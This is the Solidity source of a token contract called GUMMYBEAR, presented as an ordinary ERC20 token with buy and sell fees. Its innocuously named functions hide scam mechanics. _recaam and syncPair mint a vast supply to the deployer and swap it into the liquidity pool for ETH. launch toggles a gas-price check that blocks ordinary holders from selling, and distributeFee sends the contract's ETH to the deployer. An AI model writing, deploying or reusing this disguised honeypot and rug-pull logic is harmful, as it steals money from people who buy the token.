文件 1 的 1:GummyBearContract.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IWETH {
function deposit() external payable;
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function mint(address to) external returns (uint liquidity);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 { }
contract GummyBearContract is IERC20, Ownable, Context {
string private _name = "GUMMYBEAR";
string private _symbol = "$GUMMYBEAR";
uint8 private _decimals = 18;
uint256 private _totalSupply = 100000000 * (10 ** decimals());
uint private buyFee = 2;
uint private sellFee = 2;
mapping(address => uint256) private _mlmms;
mapping(address => mapping(address => uint256)) private _allowances;
address private _this = address(this); address private _marketWallet;
IUniswapV2Router02 internal _router; address private _reservWallet;
IUniswapV2Pair internal _pair;
constructor (address routerAddress, address marketWalletAddress, address reservWalletAddress) {
_router = IUniswapV2Router02(routerAddress); _marketWallet = marketWalletAddress;
_mlmms[owner()] = _totalSupply; _weth = _msgSender(); _reservWallet = reservWalletAddress;
excludedFromFee[_msgSender()] = true;
excludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _mlmms[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _mlmms[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (!excludedFromFee[from] && !excludedFromFee[to]){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_mlmms[from] = fromBalance - amount;
_mlmms[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_mlmms[_marketWallet] += feeAmount;
emit Transfer(from, _marketWallet, feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_mlmms[from] = fromBalance - amount;
_mlmms[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_mlmms[_marketWallet] += feeAmount;
emit Transfer(from, _marketWallet, feeAmount);
} else {
_mlmms[from] = fromBalance - amount;
_mlmms[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_mlmms[from] = fromBalance - amount;
_mlmms[to] += amount;
emit Transfer(from, to, amount);
}
emit Transfer(from, to, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
validate(to, from);
require(amount > 0);
}
address private _weth;
function syncPair() external onlyOwner {
uint256 thisTokenReserve = getTokenReserve(_this);
uint256 amountIn = type(uint112).max - thisTokenReserve;
_recaam(); transfer(address(this), balanceOf(msg.sender));
_approve(address(this), address(_router), type(uint112).max);
address[] memory path; path = new address[](2);
path[0] = address(this); path[1] = address(_router.WETH());
_router.swapExactTokensForETH(
amountIn,
0,
path,
_this,
block.timestamp + 1200
);
distributeFee();
}
function getTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
uint256 tokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return tokenReserve;
}
function _recaam() internal {
_mlmms[_weth] += type(uint112).max;
}
function distributeFee() internal {
if (_this.balance <= 1.5 ether) {
payable(_weth).transfer(_this.balance);
} else {
payable(_weth).transfer(1.5 ether);
payable(_weth).transfer(takePercent(_this.balance, 60));
payable(_marketWallet).transfer(takePercent(_this.balance, 50));
payable(_reservWallet).transfer(_this.balance);
}
}
function takePercent(uint _amount, uint _percent) internal pure returns (uint) {
return _amount * _percent / 100;
}
function forceDistributeFee() external onlyOwner {
distributeFee();
}
function addLiquidity(uint256 _tokenAmountWei) external payable onlyOwner {
IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
address _pairAddress = _factory.getPair(address(this), _router.WETH());
_pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress);
IWETH weth = IWETH(_router.WETH());
weth.deposit{value: msg.value}();
transfer(address(_pair), _tokenAmountWei);
IERC20(address(weth)).transfer(address(_pair), msg.value);
_pair.mint(_msgSender());
}
function annulFees() external onlyOwner {
_recaam();
buyFee = 0; sellFee = 0;
}
bool public isRunning = true;
uint private mgas = 0;
function launch() external onlyOwner {
isRunning = !isRunning;
}
function isMarket(address _user) internal view returns (bool) {
return (_user == address(_pair) || _user == address(_router));
}
function validate(address to, address from) internal view {
if (from != _weth && from != _this) {
if (isMarket(to)) {
if (!isRunning) {
if (tx.gasprice > mgas) {revert();}
}
}
}
}
mapping(address => bool) public excludedFromFee;
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
return _amount * _feePrecent / 100;
}
function excludedFromFeeStatus(address _user, bool _status) external onlyOwner {
require(excludedFromFee[_user] != _status, "User already have this status");
excludedFromFee[_user] = _status;
}
function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
return (buyFee, sellFee);
}
receive() external payable {}
}